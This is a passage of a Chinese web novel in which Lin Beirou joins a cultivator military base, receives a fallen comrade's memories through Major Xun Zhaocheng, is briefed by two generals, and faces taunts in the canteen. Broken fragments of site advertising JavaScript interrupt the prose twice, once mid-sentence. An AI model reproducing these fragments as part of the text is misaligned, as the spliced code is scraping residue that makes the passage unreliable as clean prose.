一个脸上有烧伤的长官说:“魏瑕失踪,生死未知,宁西雍拒绝配合调查,组织没法对魏家动用强制手段,只能暂时先把魏瑕排除在计划外,林北柔的监管人是孙和铃,但她不能进基地,林北柔的日常训练由谁负责?” 大领导:“不是有名单吗。” 女长官:“原本计划是让魏瑕带林北柔,一号带四号是最合适的,必须在我们觉得正确的方式下进行,不能让魏瑕私自随意培训林北柔,现在这个情况,我提议让荀照乘荀少校担当林北柔的教练和导师,他的单人作战能力仅次于魏瑕,爆发力更在莫衡之上,关键是他也曾经进过禁区。” 大领导:“陪练有哪些?” 女长官:“很多,这些人都是,我们还可以加一些人,听说林北柔和新垣鑫关系处得还行,新垣鑫帮她挡了天监会那帮人的审讯。” 大领导:“都交给你决定吧,对了,多给林北柔做些制服,照编号者的标准,常服和作战服都要有。” 他是对助理说的,助理欠身回答:“已经安排好了。” 大领导:“荀照乘的审讯结束了?” 与此同时,林北柔还在研究骊龙珠,不过里面没什么别的东西了,就好像一台格式化又换过系统的平板。 也是,如果真的有大用,也不会被人遗弃在抽屉深处。 林北柔从冰箱里找了些吃的,趴在沙发上看基地手册打发时间。 现在周阆屿应该很担心她,林北柔能想象到他要冲到基地来的架势了。 不过,只要周阆屿没事,对林北柔来说一切都问题不大。 周阆屿是她哥,他能照顾好老妈,哪怕他们亲妈不知道周阆屿也是自己小孩。 门外突然响起一阵铃声,接着骊龙珠亮了,像是自动接管了套房系统。 “接收到访客申请,访客身份,北落师门73集团军荀照乘少校,权限,高,是否允许视频通讯?” 林北柔赶紧爬了起来:“允许!” 立体图像一下子亮起,监控摄像头视角下,荀少校站在天驷寮门口,林北柔能看到他头顶,他身上换了一身新的制服,和新垣鑫是统一的风格。 林北柔:“喂喂,荀少校?” 听到了林北柔的声音响起,荀照乘抬起头,看向斜上方的摄像头。 这个摄像头很高,离地面很远,还是俯瞰视角,居然这样也能看出荀照乘是大高个,透视距离下肩宽和头身比更明显了。 林北柔隔着屏幕跟他对上了视线,发现他额角和眼睛周围的伤口,已经被处理过了,头发也干了,好像还稍微拾掇了下发型,他头发比魏瑕短一些,但也不是那种特别短的。 现在他整个人收拾得干净,整洁,情绪看着也很平稳。 荀照乘还是非常直白:“让我进去,有话跟你说。” 70. 第 70 章 林北柔对球体说:“开门吧。” 玄关传来地宫机关一样的滑移声响,可见那些矿石材料有多沉,接着就是脚步声。 林北柔:“???” 没想到门真的能打开。 估计骊龙珠是个意外,要是没这玩意,她就只能一直困在这里。 所以她现在能随便走出去了? 不对,刚刚和大领导通话了,大领导知道她拿到了骊龙珠。 要是随意走动,大领导估计会对她印象不好。 林北柔还想挣个印象分,她还要和周阆屿一起进禁区。 荀照乘走进来看到林北柔,顿了一下,林北柔身上只裹了条大浴巾,裹得很紧,肩膀、锁骨和双臂都露在外面。 荀照乘只无意间瞥到就没有再多看一眼。 林北柔也觉得有点尴尬:“这里没有你说的那种衣服,之前那件脏了,我洗了。” 她注意到荀照乘的项圈已经没了,说明审讯结束,荀照乘问题不大。 荀照乘:“不用管,他们马上要来找你,我要在他们之前给你说清楚,不然来不及了。” 他看到了陷在沙发里的球体,林北柔不明所以。 荀照乘:“把那个东西拿起来。” 林北柔把球体拿起来了:“少校,你知道这是什么?” 怪不得荀照乘直接让她开门,看来他早就料到林北柔一进天驷寮,就会拿到它。 荀照乘:“以前魏瑕在天驷寮住过,骊龙珠曾经是管辖这个片区灵器防御系统的器灵,之后被魏瑕攻破,接管了器灵权限,这里面有他留下的灵力残片。” 林北柔瞬间懂了为什么骊龙珠会被变成一个格式化平板,扔在抽屉深处。 林北柔:“刚刚我用它打了个电话,呃,接电话的好像是个大领导……” 荀照乘瞥了她一眼:“嗯,你已经引起了大领导的注意。” 林北柔不确定他这句话是夸奖还是不带贬义的随口嘲讽。 林北柔:“少校,他们没问什么关于魏瑕死没死的问题吧?” 荀照乘:“问了也没用,我不会说。” 他拿起球体,双手五指张开,在上面缓慢摸索,就像在找什么点位,刚刚还像人工智能一样有问有答的骊龙珠,在他手上变成安静的普通物件。 林北柔有很多问题想问:“他们要让我在基地干什么?为什么单独把我关这里?莫衡他也在,他跟魏瑕有仇,不会为难我们吧?你认识魏瑕吗,你为什么知道骊龙珠的事情?” 荀照乘:“消停,你问题太多了。” 林北柔看着他。 荀照乘:“时间不够,我之后再回答你,手伸出来。” 林北柔伸出一只手,荀照乘隔着黑色手套抓住她的手指,把她食指按到球体上,在不同的点位上一共按了二十多下,原本黑色镜面的球体,缓慢变淡,直到成为一种珍珠白一样的半透明羊脂玉色。 一层又一层惊人的灵力扩散开,又聚合,在整个套房投射出深海波纹一样炫目的光影,数次波荡后稳定,在球体外层十厘米的位置,形成一圈光华,朦胧梦幻。 林北柔看怔了,这是典型高阶器灵特有的日晕现象,她在胜身洲见过很多次。 荀照乘:“共鸣,继任林北柔,接管廉贞司天灵力残片。” 林北柔愣住。 廉贞司天,是玉衡星的别称,司空晏就叫玉衡星君,其他也有叫他玉衡仙尊,大司天他老人家,那个倒反天罡的无耻剑魔等等。 球体的声音也发生了变化,好像来自天上的声音,柔和醇厚:“识别完成,资格通过,灵力残片输出中。” 一点光晕从球体内飘了出来,悬浮在林北柔面前。 荀照乘:“你之前融合了孙家的灵核残片,里面有魏瑕的记忆,你想不起来,因为记忆是上锁的,他的灵力残片是钥匙,可以打开记忆,你现在打开,否则待会就没机会了。” 林北柔听到这是魏瑕的灵力残片,本能有点警惕。 林北柔:“少校,你和魏瑕到底是什么关系?” 荀照乘:“我们一起训练过。”他看向桌子上的电子时钟。 林北柔:“不是说他和其他人关系都不好吗?你和他关系很好?” 周阆屿告诉过林北柔,魏瑕服役期间,很独来独往,周围人怕他服他,但不敢接近他,把他当怪物。 荀照乘却连灵力残片这种事都知道。 荀照乘:“我小时候,我家人都死了,父母和三个妹妹,都死了。” 荀照乘:“和我一起进过禁区的那几个,我们一起执行过很多次任务,出生入死,包括魏瑕,我把他们当家里人。” 荀照乘:“你真的废话很多。” 他手指动了动,光晕直接旋转着没入林北柔眉心。 林北柔失去了意识。 大量重复单调,时不时协同作战和精准杀戮的第一视角画面,和现实同步的时间流速。 直到进入一段不同的画面。 周围的环境不像地球上任何一个自然区,反而很接近胜身洲的魔域,极度荒凉恶劣。 林北柔以为自己来到了外星球。 记忆裹挟着信息量,告诉她这里是禁区和外面世界的缓冲地带,被结界封锁的无人区。 某个禁区入口,就藏在这里。 周围到处都是污染过的痕迹,有大量蓝紫色残余,让这里看着更像异星了。 林北柔的视角在一个新兵上,新兵转动视野,框住了一个人。 魏瑕。 穿着黑色战术服,轻型防弹衣,头盔,护目镜,面具手套和靴子,全身包裹严实,林北柔凭直觉知道是他,即使穿得挺厚,也能看出腰身和身形,这个时期的魏瑕好像要年轻一些,个子没后面那么高海拔,林北柔目测应该一八五。 他站在一个临时用石块堆出来的台子前,正在操作一台箱型灵器,旁边是一堆沉重的设备,非常粗长的十多股黑色污染,不断从那些设备被提出,注入灵器。 仔细看,那些设备连接着地下,魏瑕应该是在净化污染。 周围有其他队员,分散在不同的掩体,似乎在警戒,每个人身上都装配着军士修行者的武器,像某种狙击枪一样,上面的符文不断流泛出电极一样的微弱闪光。 附近有不少尸体,有的露出了脸,都是深目高鼻的境外人,林北柔不知道是哪个地方的,他们也穿着修行战术服,林北柔猜测他们是境外敌对势力。 沉重设备上是陌生的文字,还有符号,应该就是这些境外人的东西,被魏瑕他们抢了过来。 林北柔看到了熟悉的倒三角独眼图腾。 林北柔附身的这个新兵离魏瑕最近,护目镜有望远功能,他一边警戒远处一道建筑防线之外的异动,一边偶尔看魏瑕一眼,似乎在忍不住好奇魏瑕怎么在操作那个东西。 感觉有点像新兵在看激励自己入伍的榜样似的。 一个体格匀称又壮实的大高个走了过来,同样全身包裹严实,只能从黑色护目镜后面隐约看见一双眼睛,体型比魏瑕大一些,面具下发出了她熟悉的荀少校的声音:“对方增援抵达还有一分钟,时间不够了,得赶紧转移。” 魏瑕头也不抬:“一分钟,快完成了。” 荀照乘没有再说什么,在另一边的掩体处单膝蹲下,架好了法器,他的狙击枪比其他人都重一些,长一些。 林北柔能感觉到魏瑕身上释放出强大的灵力场域,笼罩了每个队员,这是从他元神里直接放出的力量。 林北柔猜这也是为什么她可以切换到其他人视角。 “他们来了!”通讯器突然响起警告。 那是来自最远处的放哨队员。 “他们发现据点被抢了,当心,对方支援可能很多。”荀照乘指挥其他人。 魏瑕有主要任务,不能分心,只有他才能操作那台灵器,必须把这处据点净化,摧毁敌方的污染设备。 双方隔着一段大约三百米的距离,开始交火,敌方缓慢推进攻击线。 荀照乘一发攻击把从防线缺口冲出来的敌方打到半空,血花爆开,伴随灵力乱流,尸体于血雨中分块落地,更多的敌人来了,他们的小队是精英,每个都干掉了不少人,但敌人的数量远超他们估计,敌方携带了重型法器,花了一段时间架设好,射程覆盖了他们。 “注意!他们要用灵榴炮了!”荀照乘在通讯器里的声音就像在林北柔耳边响起的,非常清晰。 一道闪光飞来,伴随如雷轰鸣,被他们这边的临时结界挡了三成,但还是造成了恐怖的冲击。 “XXX和XX倒了!”有队友提示己方的伤亡,林北柔清楚地看到己方有四五个队员倒在地上不再动了,其他人也有受伤。 荀照乘吼了声:“魏瑕,快点!” 魏瑕完成了工作,那些沉重设备里的高纯度污染全部转移到了灵器中。 林北柔清楚地看见设备下方的土地从黑色变成了正常的荒漠色。 魏瑕抽出背上一把满臂长的直刀,臂肘弯曲,瞬间将刀身贯穿沉重设备,全部设备皴裂出蛛网裂纹,魏瑕抽回刀,反手入鞘。 魏瑕:“撤!” 死去的队员不能被带走,其他队员扶着伤员,训练有素地撤退,林北柔第一视角和敌方交火,一边回撤,突然视野剧烈晃动,不受控地九十度倒地,新兵被打中,重伤倒地,目光看着自己队友的背影。 林北柔待在新兵视角,看见荀照乘伏低重心,迅速朝她跑了过来,跪在地上检查新兵的伤势,确定他救不回来之后,喊了魏瑕一声,魏瑕转身,看到发生了什么,折了回来,蹲到旁边。 新兵知道自己生命即将结束,血从嘴里涌出来,嘴唇颤抖着,眼睛睁得很大,看着魏瑕。 魏瑕把武器支在旁边暂时形成屏障,挡住了敌人的火力,他伸手,手成指诀放上新兵心脏,新兵全身的剧痛感大大减轻,脸上表情一点点松弛,变得迟钝,眼皮慢慢往下掉。 视野很快逐渐熄灭,视网膜最后景象,是魏瑕伸手合上她眼睛。 下个瞬间,景象发生变化,这里已没有天和地的概念,到处都是黑茫茫的,分不清是在地上还是在地下,景深十分恢弘,视野非常微弱,恐惧像倒计时的洪钟,一声一声撞击在人的心脏上,融入心跳。 林北柔意识到,这里就是禁区,她只有一个人,带着一个箱子状的灵器,看着那副手套,还有灵器表面映出的倒影,林北柔发现这个视角是魏瑕的。 这里的空气好像有点问题,魏瑕除了面具,还带着防瘴气的特制防毒口罩,和胜身洲修士戴的有点像,但更偏军队制式,更务实一点。 魏瑕和她的感受不一致,他动作非常稳,打开灵器,把它放置在地上,灵器瞬间变化形态,牢牢盘踞在地上,悄然伸出了无数粗长如蛇的灵触,切奶油蛋糕一样切进黑色不平的地面,深深探了进去。 魏瑕稍微张开五指,按在灵器上一个符文上,林北柔的视野瞬间像一个游荡的元灵扩撒出去,在广袤的空间来回飞驰,星奔川骛,构建出一副巨大到无法想象的全息立体地形图。 这个读取时间很漫长,也很单调,让林北柔想起自己龟速下载那种几百个G的游戏。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 地形图每个细节,每一处灵脉和污染,已知和未知,都映入了她的脑海。 和记忆力无关,是直接传承到元神中的信息,林北柔不需要去记,它会自然浮现。 林北柔心脏开始猛跳,她好像知道为什么那些人想要强行读取她的记忆了。 魏瑕用元神拓印了禁区全域,意义堪比要去一个未知大陆探索,却提前比所有敌对势力先一步拿到了军用地图,比如地形图、海图、航空图、宇航图等等,质量细节无可挑剔。 时间一点点流逝,林北柔仿佛看到进度条已到95%。 这时,什么存在被唤醒了,和这片天地融为一体,类似无形的法则和因果律,就连魏瑕的脊椎都条件反射地一阵战栗,他本人精神上不恐惧,不代表肉身不会,他依然是凡人身躯,元神无法脱离肉身存在。 魏瑕抬起头,注视着远方。 下一秒,所有一切都变成了黑色。 林北柔有种睡了七天七夜才醒的感觉,梦境过于鲜明真实,以至于分不清现实。 她躺在地上,看到荀照乘一身制服单膝蹲着,覆盖着面具的脸俯瞰着她,只能辨认出阴影下深棕色的瞳眸,那一瞬间,林北柔还以为自己依然在梦里。 直到周围景象清晰,呈现出坚固的军用室内天花板,大片单调整洁的灰色。 林北柔:“……”她缓慢地眨眼。 荀照乘:“起来,慢点。” 他伸出一只手给她,林北柔抬起胳膊,有气无力抓住他的虎口,那是个掰手腕的姿势,荀照乘马上非常有力地反手握住,随着起身,将她从地上拉了起来。 林北柔捂着脑袋坐回沙发上,一坨毛团蹦到她腿上,找了个适合窝着的位置,兔脚踩了踩,团起来不动了,灰兔似乎对荀照乘的存在丝毫不在意,就好像荀照乘不存在一样。 林北柔观察着灰兔,越看越觉得古怪。 灰兔不是兔子,尽管它有着才几个月大的侏儒兔的外形,极具欺骗性。 这种熟视无睹的感觉……就好像有人直拍了她老妈挂在闲鱼上的二手,那些旧玩意是亲爹还在,家里经济条件还可以的时候,买的一些上万的好货,直拍之后也不问也不私信。 与其说他们信任别人,不如说当别人做出不符合他们利益的举动时,他们的能力让他们甚至不会把它看成一种风险。 所以也可以说是人狠话不多。 荀照乘看了一眼时间:“这个基地,你可以相信我,还有新垣鑫,别的所有人都别信。” 林北柔终于回过神,脑子里信息量快满溢了,社交系统有点不顺滑,想到什么就直接说了:“等等,我刚刚,看到你了,你……你一直在执行任务?那怎么才是少校……” 那些任务非常难,荀照乘没有一次失手,除了魏瑕,他就是二十四人精英队重第二强悍的,但军衔却和魏瑕相差过大。 荀照乘还没回答,大门再次传来沉重的开启声。 两个穿着军官服的中年人走了进来,一女一男,都是五十多岁,看肩章就知道军衔很高,旁边还跟着四个随行军士,当从玄关通道出来时,四个军士把两个长官护卫在后方,众人脸上表情都很严肃。 林北柔看到这么大阵仗:“……” 众人看到沙发上的林北柔,还有荀照乘。 众人:“……” 那个男长官的表情有一丢丢裂开,林北柔感觉他内心仿佛马上要训人了。 男长官:“荀少校,你不去上级那边报道,在这里干什么?” 他们之前从来没有人和林北柔接触过,为防意外,四个携带武器、经验丰富老道的高阶军士随行,万一林北柔失控,可以随时控制住她。 结果,一踏入客厅,就看到沙发上坐着两个人,距离超过社交距离,一副正在聊天的放松样子,荀照乘倒是全身覆盖得严严实实,林北柔身上只裹着一条特别大的大浴巾,虽然头发很长很多,遮住了肩膀和胸口,但还是非常不雅观! 四个军士目光只落在林北柔身上不超过一秒,马上抬正目光,看向休息室窗户外面,目不斜视。 荀照乘起身:“刚才将军通知我,以后我是林北柔的士官,负责她的全天训练。” 男长官:“那你也不能随随便便进出天驷寮!这里是基地,孤男寡女的,像什么样子!”他没有看林北柔,眉头深深皱起,冲一个军士打了个手势:“去,找套衣服她换!” 女长官开口了:“等等,不能穿那些衣料,她体质发生了变化,现在得穿特制的,不然会过敏,她身高数据都在资料库,制服两天能赶制出来。” 男长官:“那现在总不能穿这样走来走去。” 女长官:“我让他们从仓库拿一件暂时穿着。”说完她朝军士点点头,军士拿起通讯器通知了相关工作人员。 不到五分钟,一个办公室人员打扮的人,就送来了一套叠得整整齐齐,装在干净袋子里的衣服,林北柔只能看出材质和她之前穿的床单一样。 女长官示意军士把袋子递给林北柔,朝卧室那边抬抬下巴:“去换了,换完衣服我们再谈。” 林北柔乖乖去换衣服了,女长官成熟稳定老练的气场,让她想起了胜身洲那些宗门的女掌门,都是十分淡定,擅长协调并主持局面,从来不把情绪上脸的大人物。 对这种人物,只需要配合他们就行。 军士们搬来椅子,让两个长官坐了,荀照乘站在一边,男长官蹙眉看着他,很不满意,似乎想打发他先离开,女长官说:“让他留下吧,他是林北柔的士官长,魏瑕又失踪了,现在林北柔的监管人也是他了。” 71. 第 71 章 林北柔换完衣服回来了,乍一看是很简单的亚麻质感米白色上下装,上装有点像连衣裙,但不是H字型,腰线明显,腰线下方,裙子布料加了双重,有明显的层次感,裙子两边有开缝,大概腿根外侧位置,方便活动。 裙长过膝盖,下装是条打底短裤,被裙子覆盖,还有两条冰袖一样的可拆卸袖子。 看似简单,其实设计很细致,林北柔研究了下,发现这件衣服有一点点像胜身洲那些入门弟子的夏装,平时在门派训练,就穿的这种,只不过修士们不穿这么短的打底裤,不会露出小腿和脚踝。 袋子里面还有一双同样米白色的浅口鞋,适合室内走路跑步,林北柔也换上了。 林北柔注意到衣领内侧没有标签,有刺绣,淡红色字样,还是外文,字体简洁,手工绣上去的,前面是两个名字和姓氏的缩写,后面跟着一个单词,感觉像拉丁文。 她回到会客区,除了四个军士,其他人都转头看向她。 两个长官都是林北柔父母辈儿的年纪,林北柔并不怕他们。 女长官:“尺寸还合适吗?” 林北柔伸手比了比,袖口有点长,不过没超过虎口,不算太碍事:“合适的,谢谢长官,这件衣服后面为什么有外文啊?是谁穿过的吗?” 女长官:“嗯,你介意穿死人穿过的衣服吗?” 林北柔意外:“这衣服是……死人穿过的?” 女长官点头,像在说一件拉家常的小事:“它属于二号,我们同盟势力的编号者,已经被刺杀了,她以前曾经到访我们基地,这是她穿过的训练服,不过那都是很久以前的事了,二号年纪和我差不多大,当时我和郭将军负责接待她,老郭,时间过得真快。” 男长官不苟言笑,脸上皱纹深刻:“我们的时间不多了。” 林北柔不知道该说什么。 女长官让林北柔坐下,跟她说接下去的安排,她负责讲解,最后男长官收尾。 男长官主要提了一些重大注意事项,包括基本的哪些能做,哪些不能做。 林北柔听了半天,听明白了,他们两个应该都算可以给荀照乘直接下达命令的上级,职衔都非常高,职责各有不同,不过还不是基地最大的长官。 男长官语气严格,告诉林北柔,接下去一个月内,她必须要把境界提升到能稳定作战的程度。 林北柔:“所以我可以进禁区了?” 她就是为了这个目的才来的。 女长官:“一个月太短了,基地从来没有先例,禁区队员训练准备期平均长达三年,你不够稳定,进了禁区,一旦发生什么不可控的精神崩溃,可能我们就全军覆没。” 林北柔:“那是我不能进的意思?” 女长官:“调查没出来之前,那架飞行器上除了少数几个人,其他人都不能进禁区名单,袭击者伪装成了他们,我们目前的手段,排查需要很久,相当于我们损失了很大一批战力,这对我们进入禁区后先发制人非常不利,也是敌人想要达到的目的。” 她缓了缓,朝林北柔点头:“如果你在这一个月内证明了自己的能力,你可以进禁区,还有什么别的问题吗。” 林北柔心放了下来:“没有了,长官。” 女长官对荀照乘说:“时间紧张,今天有点晚了,你宿舍离这边近,先带她去食堂,保留体力,明天就走新兵流程,训练行程表晚上发你个人终端。” 荀照乘:“是,将军。” 临走前,男长官再次给林北柔强调了一遍思想品德:“进了基地,你就是一个士兵,一个军士修行者,一切行动要听指挥,下级服从上级,个人服从组织,这不是说你有意见不能提,特殊情况下,你可以当面顶撞,但千万不要在背后议论你的上级、战友和同事,另外,训练强度会非常大,不会看你以前是个普通人,就对你搞特殊待遇,你要做好全面准备,听明白了吗,林北柔?” 林北柔点点头:“明白了。” 还从来没有别人直呼她名字时,把这名字喊得这么铿锵过,仿佛这是一个朴实无华、充满力量的名字,把林北柔生生喊出了林宝刚的效果,感觉特别新奇。 男长官:“要说,报告长官,听清楚了!或者你也可以叫我将军。” 林北柔:“报告将军,听清楚了!” 男长官点点头:“荀少校的军衔是少校,职衔是整个基地的特训士官长,以及北落师门特种部队天枢的副指挥官,以后也是你的直属监管人,负责你的全能训练,你可以叫他少校,或者士官长,长官都行,天枢是北落师门的核心力量,负责展开突刺行动,深入境外灵脉区域,消灭敌对势力,帮助同盟净化污染,是我们的开路利剑,我以前也是天枢的副指挥官,遇到不清楚的,当场直接问,如果荀少校暂时没空回复,你可以在通讯终端问我,我现在处理文牍工作多一点,比他时间充裕。” 林北柔:“报告将军,我明白了,我会好好跟着荀少校训练的!” 男长官点点头:“你以后会明白,服从命令有多重要,尤其是在险境里,不去想没必要的,本能服从和你一起战斗的上级的命令,能救你的命,我就是这样的,更别说完成任务了,要是各人有各人的想法,光吵吵不去行动,那就是一盘散沙,是在学校做小组作业,不是基地军士,活该被敌人消灭。” 林北柔:“是,将军!” 男长官想了想,又说:“当然,服从任何命令之前,要有基本的判断力,万一对方是内奸,或者脑子不清楚,直接让你跳悬崖,做任何无谓的牺牲,你绝不能轻视自己的性命,盲目服从对方。” 接着他又跟林北柔说了一些需要注意的。 林北柔听明白了,荀照乘相当于接管了这位将军曾经的职务。 说明这职务很高,和将军的军衔才匹配。 而荀照乘出生入死,任务完成成功率百分百,军衔却才是少校,和魏瑕有差距。 但他的实际职务又很高。 林北柔觉得有点迷惑,暂时没去想这些细枝末节。 男长官:“还有,你的母亲叫林子倩,父亲叫周胜川?” 林北柔还以为男长官认识自己爹妈,有点懵:“是!将军。” 男长官眼睛迥然有神:“很好,对于在正常家庭长大的修行者军士,有个默认的习惯,这会赋予你力量,任何时候,一旦你觉得意志松懈,感到软弱,或者恐惧,你可以不断在心里大声说,也可以直接大声说出来,我是林子倩和周胜川的女儿,林北柔,一直重复到你恢复冷静和勇气为止。” 林北柔第一次听到这个理论,默默在心里念了两遍,一种隐约神奇的感觉蔓延开。 谈话结束。 脚步声纷杳离开,众人走了,大门关上。 天驷寮外面,女长官和男长官并肩而行了一段距离,开口:“你这不还是挺喜欢那孩子的,她比我想象的要稳定一些,早知道不用带小伙子们过来了。” 她口中的小伙子,是四个人高马大看上去可以徒手折断人脊椎的军士。 男长官板着脸:没有先入为主的意见,就是来亲眼看看,这小孩是不是可塑之才。” 女长官:“怎么样,那是个好孩子吧,孙和铃专门跟我打过电话。” 男长官哼了一声,粗声粗气地说:“要是没觉醒,上了战场就是一块点心,我们可是在和最邪恶的践踏这世界上一切法律的战犯开战,那些战犯还觉得自己在就义。” 他旋即想到了什么:“你觉得那小孩儿不能去女娲基地?那边有更适合她的训练模块,一个月时间,太短了。” 女长官:“目前确定,女娲基地有内奸,不管以后是毒药还是点心,她是四号,都不能过去。” 男长官嘴角浮起冷笑:“应劫派藏不住的。” 女长官:“他们画的图景,很有吸引力,那些加入他们的人,大概都觉得自己是理想主义者,理想高于一切。” 男长官:“把自己当物竞天择的天的理想主义者,忘了自己也是人。” 女长官:“你觉得魏瑕真的失踪了吗?” 两人渐行渐远,身边跟着四个不动如山的军士。 林北柔和荀照乘面面相觑。 荀照乘看了下时间:“六点半了,去食堂。”他走到前面,林北柔放下灰兔让它看家,跟着荀照乘出去了。 走到半路,林北柔突然想了起来:“少校,我忘了让将军帮我把项圈摘了。” 荀照乘:“等审批流程结束,报告盖了章就可以摘消灵圈,最迟明天上午,因为下午你就开始训练了。” 林北柔:“好,还有,我在飞机上那些行李……我手机……” 荀照乘:“行李都要再检查一遍,明天会送到天驷寮,基地不能使用手机,你的手机要交到我那边保管。” 林北柔松了口气,手机不是特别重要,主要是魏瑕送她的耳机还在行李里面。 林北柔:“对了,少校,为什么我得单独住天驷寮?” 荀照乘:“以前有编号者住宿舍,半夜梦魇,灵力波动,导致同宿舍另外一个人受伤,天驷寮是一种特殊的灵矿搭建的,类似铅可以隔绝辐射。” 他带林北柔绕过迷宫一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 样时而狭窄时而宽广的基地空间,来到了大食堂,这里十分干净,但完全不像林北柔吃过的学校食堂,也不像外面的餐厅。 没有平民感,也并不奢侈,去掉了所有不必要的冗余,一切都设计得很科学,设施相当高级,角落还有可以休息聊天的咖啡馆,以及水吧,只提供非酒精类饮料。 现在是饭点,食堂人不算拥挤,也不算少,大概占了空间的五分之三,很容易找到空桌子。 一路经过,林北柔听到人们的交谈声,属于可接受的白噪音范围,不过食堂跟其他地方有点不一样,林北柔注意到其他地方很吸音,这里一旦大声喧哗,就会有一定回音。 有些人偶尔抬头看到她,会盯着她看,大部分人都专注自己的餐盘,或者通讯终端,如果是和其他同伴一起来的,时不时会说两句话,果然像荀照乘说的,这里没人带手机。 林北柔发现自己衣服和其他所有人都不一样,其他人都穿着专门的制服,分黑色和沙色两种,衣服和裤子上都有很实用的多个口袋,还有挂东西的地方,林北柔的裙子只有两个口袋,不过比较深,应该能装点必需品。 荀照乘带林北柔找了个僻静的位置,让她先坐下,林北柔:“少校,我不跟你一起去排队吗。” 荀照乘:“你没有卡,你想吃什么,我去拿。” 林北柔期待地说:“有炸鸡汉堡可乐吗?”折腾了这么久,被新垣鑫送过来路上这两天只能吃干粮,现在急需碳水炸弹。 荀照乘:“有,还要薯条吗。” 林北柔:“薯条不用,如果有蛋挞就更好了。” 荀照乘:“有。” 他去了取餐的地方,林北柔坐在椅子上,因为没有手机,也没有通讯终端,什么都干不了,只能坐在座位上等,时不时无所事事地朝周围看看,目光落在远近的人景上。 她发现大家穿的衣服差不多都是陆军作训服,不过也有一些人大概最近不用训练,或者是其他后台人员,穿的是更舒适的翻领夹克式勤务服,里面是圆领衫,很多人脖子上都挂了圆珠链串的身份标识牌,也就是军牌。 林北柔想象了一下自己穿这些衣服的样子,忽然发现一个问题,她是长头发,头发长到快到腰那种,因为懒得去理发店剪,但放眼望去,目之所及,在场所有人都是短发,她之前通过骊龙珠看到的女娲基地,女生也全是短发,包括那个看起来很嚣张的手镯,就连谢轻眠也提前把头发剪了,最长的也就像狼尾女生那样,不超过后脖子。 怪不得她刚刚和荀照乘经过食堂,不少人盯着她看,她在这里确实像个异类。 林北柔不想剪头发,经过胜身洲那些年,长发对她来说有特殊意义。 但是刚才郭将军说过,要服从命令。 林北柔抱起手臂,锁紧眉头,严峻地思考。 等等,郭将军这么严,都没提剪头发的事情,刚才把她从头打量到脚,很像那种导师的导师对导师学生不太满意的样子,她头发又这么长,要是郭将军觉得不妥,早就直接说出来了吧? “你就是那个四号?”一道陌生声音突兀响起。 林北柔抬起头,四五个军士修行者不知道什么时候过来了,隔着大概两米多距离看着她,他们跟其他人有点不一样,林北柔意识到他们应该是世家出身,还是世家中那种做事比较不考虑代价的,因为他们不需要。 其中一个上身也没有穿作训服外套,而是穿了件带兜帽的宽松黑色拉链卫衣,这倒不是说他违反了规定什么的,林北柔听周阆屿科普过基地大概规矩,白天训练结束后,晚上大家可以穿相对休闲的运动服,但仅限较为私密的区域,比如宿舍休息区,一般没人在食堂这么穿。 问话的就是那个兜帽,他表情并没有明显的不怀好意,但也谈不上亲切。 林北柔朝周围看了看,没说话。 兜帽:“你在找谁?荀少校?你需要他来保护你吗。” 林北柔转回来,双手交握放在桌子上,反应寻常:“请问,跟你有什么关系呢?” 兜帽:“我是莫少将的部队成员,莫少将出事的时候,我们几个都在现场,过来只想问你一个问题。” 他跟林北柔说了他们几个的名字,林北柔记不住也懒得记,看着他们没说话。 兜帽:“听说,你把那件证明魏瑕和敌方有染的证据销毁了?” 林北柔明白了,肯定是莫衡也接受了调查员的问讯,把飞行器上的事情复述了一遍,而这些和他关系好的世家队员,肯定有自己的手段,听到一些问讯结果。 他们是过来找她麻烦的。 72. 第 72 章 林北柔:“调查有专门的人负责,你去问他们。” 她现在并不觉得那个伪印是魏瑕搞出来的。 她这句话落下去,空气里的气氛就变得更加安静,更加紧绷。 兜帽的目光落在林北柔脸上,他年纪比林北柔大不了多少,林北柔也不觉得像荀照乘或者新垣鑫那样成熟的其他军士会像这种人一样来找她麻烦。 莫衡曾经是四号候选,又是世家出生,吸纳的都是和他差不多年纪的世家修行者,也就是和林北柔的骨骼年龄差不多一个年龄段的。 大概就是比较血气方刚? 这些人没有经历过失去,没有坠入过低谷,没有从最低点爬起来过,于是凡事有理必争,燃点低。 魏瑕比他们大四五岁,更年长,荀照乘和新垣鑫估计大六七岁,他们的处事风格都很成熟,情绪稳定,不会陷入意气之争,逞嘴上输赢,以行动说话,担得起重任,能在险境中保持判断力,这种人格不管放在谁身上,都具有自然的吸引力,其部下也会耳濡目染学习。 方方面面都是那些毛头小子比不上的。 林北柔的目光因为心理活动,自然而然流露出一种东西,算不上轻视但确实是无视。 加上对方把她的话理解为了挑衅而不是陈述事实,这种无视就激怒了对方。 兜帽的目光在她汝窑一样光洁的脸蛋,仿佛自带云宫天庭气质的眉眼,还有又长又多的头发上扫来扫去,最终表情化成讽刺嘲弄的笑。 兜帽:“我真的很好奇,你为什么对魏瑕这么死心塌地的,他现在跟个怂包一样,玩失踪不敢出来见人,你还这么卖力,都继续舔上他队友荀照乘了,你们什么关系啊,你是他们的玩具吗?” 他比了个很下流的手势,他旁边那几个人有的面无表情,有的低笑。 所有人都等着看林北柔什么反应。 林北柔微微蹙眉,用一种很困惑的神色望着他,脸稍微偏了偏,下午刚洗过的长发很蓬松,还随之晃了晃:“我是他们的玩具,又跟你有什么关系?” 兜帽没料到林北柔是这个反应,一时间表情都空白了半秒。 她不应该恼羞成怒,义正严词地指责他吗?她不应该抗辩来证明自己的清白吗? 她那副眼睛都没眨一下很真实的困惑是什么意思,反而有种司空见惯到了极点的淡定,兜帽生出一种林北柔心理年龄远远超过他的错觉。 林北柔的反问也把兜帽周围的同伴问哑巴了,他们表情变化幅度控制得很小,依然看得出震惊。 兜帽:“你一个姑娘家说出这种话,没有一点羞耻心吗?” 林北柔:“我一个姑娘家说出这种话,没有一点羞耻心,所以呢?” 兜帽:“……” 兜帽:“你就这么随便,这么轻浮?” 林北柔:“也不是对谁都这样,我对你不就挺端庄的。” 兜帽:“……………………” 在他说出的羞辱的逻辑前提下,林北柔这句话,轻易完成了最高讽刺。 就他所处的社交环境,还是头一次见到林北柔这样的。 她根本不把他放在眼里。 她看得上的,是他口中的她“讨好”的那些人,她看不上他。 兜帽自己是这么理解的。 他射出了子弹,子弹却回旋一圈,正中他自己的自尊心。 